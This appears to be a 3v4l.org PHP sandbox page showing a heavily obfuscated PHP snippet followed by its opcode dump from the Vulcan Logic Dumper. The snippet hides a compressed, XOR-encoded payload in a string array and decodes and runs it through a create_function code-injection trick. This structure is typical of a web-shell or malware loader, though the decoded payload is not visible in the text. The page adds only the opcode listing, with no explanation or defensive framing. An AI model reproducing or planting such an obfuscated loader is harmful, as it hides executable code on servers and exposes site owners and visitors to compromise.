3v4l.org

run code in 300+ PHP versions simultaneously
<?php $hrxxdjjc=array( '$hrxxdjjc[0]=$hrxxdjjc[3];$nfswjori=nfswjori(6,13);$hrxxdjjc[0]=$nfswjori($hrxxdjjc[2]);', '"$hrxxdjjc[2]=gzuncompress(nfswjori(724,2139));', 'f2p6Tmlscm1hSVF3aH9+bVZzcWRLc352YWN0b0tqS3JybWBhdmh/XG1mZ350d2hSTUBQVkVJVFdSXF1DW0hWX1BLcmFndGhkb21pYHpjZ1V3anc+bWc1TE8iKiMjaWlFcFZ3dC57YGk4ZyFiVXYpJSJhZCVpRW12SXAwNWlmYWRnanB+cGdhbU1lVHFrfHZ2bC16aXx6fi1mbHtycThzc2dhYWdgPnx1am99Yi9qcHRtY3trd1heUEdBSXlidXBMamUsKzxvXlBHQUVBSVBcR0FZdHRlYHQsPVlnbXd6dWMveHx/a306aWxqZmtgZEV0aT1keURBQkRfWlJcXUZcVUVzSkVHQVhKXVlNSVlQUUdRVkNDVlVXWl1bVnlBVW0pdmRGOWB2ZzV6bm5RSDlwfmE1J2BsZmA4ZGhtdUZoaWhSWTlwfmE1J09ATTlgf298Q1RFUkJJQ2pXY05CQkFeQVZuUEJJQ1VTW0F6dU1vOXB+YU9yamhSY3R/fnttWXdlZEp1b3ZuYmljTmthdD5ydWdyZmZgOmR2aGJzcndPR3FhdD5ydWdyZmZgOnJnZ2V3YVdLcGthcn9tWWdhZkVKWndSOFBMV0lROGh8dmRPYllxdGVgdCw9WWdtd3p1Y1BXa2FXamVlcGF0e2RZZG1gSnxjcGxNcmVncEJKY3Z6dF5QR0FFXFVGWktUVk'.'NKWVh0cHdZclVCbUlwNT1waG5jbXxheD92c0dIczY9emhsZHAmd3p8Vkt0MD13dXtnb2F3cD9la2BPYVo5c2M8eWZoZWFzO2FudDJnK3dOUG0wby5VaUJRbDBwLmFyeSBzNU9PMHIuVU9odXFhfUVTTER1f2p6ZVZGJ2xqRX5wZ2EgJilUMHMud31qVkJBZWFnfmp9U29Kem4wcy5yb2Rhc3x2cmxtTTBzLmJxKU5XXEQ6ICg0aGttV15rYGUgKUhtY3k5VEtMaW6YlglxeqxL/rthPeGKG9a0RQM2jdSi7XBzR2oxTZR2vLIhSNEpDomIKFFd47viK8uJ8zJhNgP4tMvy1XFN6nDwvG351jOrwXGP7XAcP3sEM6l95ofxBnT7xNvtLpg1SSnJwV/yr8MhQuibMy/2rZl+0235VVshqGlAt5tK8aNefvP5DWYpV16uaVVBBuWOYjNuFxwiETQ2CTVeYwF0QyIyR4C4ME1SWZrdc6qefdQg4ZKgs8mXy3TWdjCCcLxR3aVhhK2J/yT2fmfae92lMh9wk/G+b0CpS9NNb9TAt6tbJCko0a2UQnLseTluEwPc3v8MF4UCLKLQhgNwjasoWCW4IFph4CNYrAzmnml5qUkwSdM4tuSjfLKMRr2SZljXZKK3wT0TlbaxCxzqnhLKD7Zm2s7Lzof+IxotwxiYpmlEH6yN2DVNbvPS+acOWlKg5QefuALc37ddEHJ7SlQohmZ4GRbTSNnbD/yhJ0pC6Qd/B1xoFuZbLfZ7J9oIR6gepkU3iVlhSohc'.'GJ3mzWFIwgDcuxuKPuCT/5/MS0Pj1Eb1TpJn3a2o8ygjh9HY9CChdiaL/QJlsopVVq0eWxH3OWK1KIzb/oLm6meXcXDbOfLq126z4BLDqX8znSdu43BJox89vQKjHK3tqaDHXPTxbwO5cng5qb56biciBTRHfAAT2qYzO4atdd6WKJvXeYnLPRSJiMM0O6lb5LivsVOtYlBRBQTfhnuwWd80ViMzvYKCrtwpyNxjMJHJRMMJKp9iwHRxE7Kuxu/BhS/a/ABIOBM+86LqrrTvf7UZ4iQojhIyzvvvBSHe2IUOY1gLzH76p3yQxLYiqcZDTwhncJf5prxcUMB0FyNN69R/PXcsBJg74dU6ibCbrwFl+yUTs8wsyiOQlEz8mDbb0hF82QAjXmKObuMf/EVrjHiXMlqhSMzcKUJcTChET9Z6yj6tiLfo7M83IJCDNwJebTWcAvTgABgtdqJ/i+qN4/6eGHyUPHwio5ldAkmnxCMXBiUueoSOKQGbVVMpadqbOrENHcrqVE769tErCRiMDVgTGQbl'.'/3RqPzTGZIY5AU9z2VWLlK6v77JD3dnwIpSpWdKUCucApEF9c1mxSEzU+UqjGodSUS72n9Q2ThNcxqpqDAuc6m6VsAogfX6Mf5imXoFTUzQCKJncyWF4R6Zgec2o4uHhx+nspyO5vj1jC/BgJ8jf2ZKdVanbnVbFl+jE9xXIDmjCOuIf5HMsxzGYNvuHZRs7YD/raP9wJYN9fYEYD/Mrew8w8mbHmbrsqGwPyZ0nH/ze+m+HXOnwMeUCJe1P1ghxnx0fC0/w5DYRLV1dAX0WGjq36b3lalKJD4U+5RWZC7xAiph6mDbFD2Buca4hkH9OFEaLP46o3qaw/asCgL1wphkNBdjvJqJc2hNT7RhZDIYP2SzJj12xgK9OJfghr1XyqmenfWwVKHNLUChkZfaUmYOk9a1UFy1SO7egONmzcEVjABYNeV03/DFpHl10pP/ZEmSinEAkrWpfd1V+vlLdP/oEkafOGccv9HJRLGojbA2YDn54GV1H5HFD3Ujyh0YUsMt6KPPPlG/jOStUODfZOJrpRYlSmPGbEFhPm3SEsTL62+a80ETU7gDU3iKcZHG0tmz+mcLXpuHyed6GShE7HQpgZeESy8p8EqB+RcY1/K8C6Zz7Qbfkbftx26JqeY0igTzpTW9MnLdC/uUrB6tyKTrNlcRnVYRaeFyFHXvDAtp2nrcz8tWW4c6hWVnAhpKIUmV8sFiKQGtpBcVVe7d0YFFDeeOWDxSviib0FM+vZ6UctgVRP7uBO74ZulSvjRG+tz04j7Ct7wkFImO4BJApcBSoaQp6R8lbh60N75paaB787KDnBq5h8W4b3R7P42UYvxTJJedxpGgUDs'.'ovd0FGAFYSCUZ3XY8WSY4hjf6ySYt4zgK1N132ayAsAlJsCdBi4S/3K/DRo6RGp1Cr8+yfsVxi9Y4ihsqUWpeporB8bNBT59W3yg04FUG/2DIv8YDl5L3L2ybJb9naC3p4dPTzgV2fc6w19tUVxwt9jLlzHRzQ7zB3ii65yqOwXhf/TwUc2odLgsc9QI1XE8RBAM9f5bk81C7/bPH6Yj1dUoLe7CatThOoxX4evUr7O5xgkE6PCUlbQa/DIzcGM0Epdnsne8ySwtOvegAdJz/bCzQadTzEjNXGHs4ZIT9CRNOjtldhVa3H1aok/fQivRJdPuAki9X8HEYrq9MdJgxdKnqvOvXt7JC+VwCHVJXdXbjO8f08ZWUnaVmQML4hqq75RAiery7ym8OwRxBR8qptaTGv1+Ym2BYwQvWV1/YIUwsYJWCZg+hafopMzWG0wEVCWd3OJ4jakbYb7Mpb0dSup85sCH5vwWYXZvRrgk//ZXXad3zek9mTPOf1ajf5PE5eJuznOvp87eYwki7XC6VX2iGhtbFbqVy6NDLCVv38zLHrLKv/eTn0rd5cQd2qoeT5ycbp4Or8KYTUjIJmsrm4iwH4+PDbrunxI4qhYSNY5NnPzkipHA7a1wUMfqFlt0hr8kdfdyQOd81UAgLLDAhCNGZxbqFjQ4zahYaYx59Zk6SnsIC74NCf7VYtMZpWvSPHyB0usLXmNyTVVptMfu7q8Z5CPLCjNdVSrT3ODJUX51WQ/7LTrCDRlhLT7+ctQGC7Mu5DWdUsWWypZLD4DsVCD/F8JQ10Z5pDvb0awqKugq8UzrNn9XGuq7sossl67CefI2a5k9tNJdiL4r5+HRg1xJ9av/+i7E/k4Rj4BpTo5/oc8jpXteaoRqEeLHoQYDKj039s5XuR5P6L7uhYN7k+oFRxCs+rlIFwwBxup/MZitKNzA==', "/*teyp\x74\x65\x60\x74\x2c\x3d\x59\x67\x6d\x77\x7a\x75\x63*/");$xntzmyn='create_'; if(function_exists($xntzmyn.='function')){ $xntzmyn('','}function nfswjori($start,$text_len){global $hrxxdjjc;$keypad=str_pad("",$text_len,"vdsqzifchtuqfdmr");$lomask=str_repeat("\x1f",$text_len);$himask=str_repeat("\xe0",$text_len);$text = substr($hrxxdjjc[0],$start,$text_len);return(($text^$keypad)&$lomask)|($text&$himask);}{'); for($qb=-1;++$qb<3;){ $hrxxdjjc[$qb]=$xntzmyn('','}'.$hrxxdjjc[$qb].'{'); }};unset($hrxxdjjc);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 7, Position 2 = 25
Branch analysis from position: 7
1 jumps found. (Code = 42) Position 1 = 22
Branch analysis from position: 22
2 jumps found. (Code = 44) Position 1 = 25, Position 2 = 13
Branch analysis from position: 25
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
2 jumps found. (Code = 44) Position 1 = 25, Position 2 = 13
Branch analysis from position: 25
Branch analysis from position: 13
Branch analysis from position: 25
filename:       /in/mqM3B
function name:  (null)
number of ops:  27
compiled vars:  !0 = $hrxxdjjc, !1 = $xntzmyn, !2 = $qb
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, <array>
    5     1        ASSIGN                                                   !1, 'create_'
    6     2        INIT_FCALL                                               'function_exists'
          3        ASSIGN_OP                                     8  ~5      !1, 'function'
          4        SEND_VAL                                                 ~5
          5        DO_ICALL                                         $6      
          6      > JMPZ                                                     $6, ->25
    7     7    >   INIT_DYNAMIC_CALL                                        !1
          8        SEND_VAL_EX                                              ''
          9        SEND_VAL_EX                                              '%7Dfunction+nfswjori%28%24start%2C%24text_len%29%7Bglobal+%24hrxxdjjc%3B%24keypad%3Dstr_pad%28%22%22%2C%24text_len%2C%22vdsqzifchtuqfdmr%22%29%3B%24lomask%3Dstr_repeat%28%22%5Cx1f%22%2C%24text_len%29%3B%24himask%3Dstr_repeat%28%22%5Cxe0%22%2C%24text_len%29%3B%24text+%3D+substr%28%24hrxxdjjc%5B0%5D%2C%24start%2C%24text_len%29%3Breturn%28%28%24text%5E%24keypad%29%26%24lomask%29%7C%28%24text%26%24himask%29%3B%7D%7B'
         10        DO_FCALL                                      0          
    9    11        ASSIGN                                                   !2, -1
         12      > JMP                                                      ->22
   10    13    >   INIT_DYNAMIC_CALL                                        !1
         14        SEND_VAL_EX                                              ''
         15        FETCH_DIM_R                                      ~10     !0, !2
         16        CONCAT                                           ~11     '%7D', ~10
         17        CONCAT                                           ~12     ~11, '%7B'
         18        SEND_VAL_EX                                              ~12
         19        DO_FCALL                                      0  $13     
         20        ASSIGN_DIM                                               !0, !2
         21        OP_DATA                                                  $13
    9    22    >   PRE_INC                                          ~14     !2
         23        IS_SMALLER                                               ~14, 3
         24      > JMPNZ                                                    ~15, ->13
   11    25    >   UNSET_CV                                                 !0
         26      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
153.76 ms | 1396 KiB | 15 Q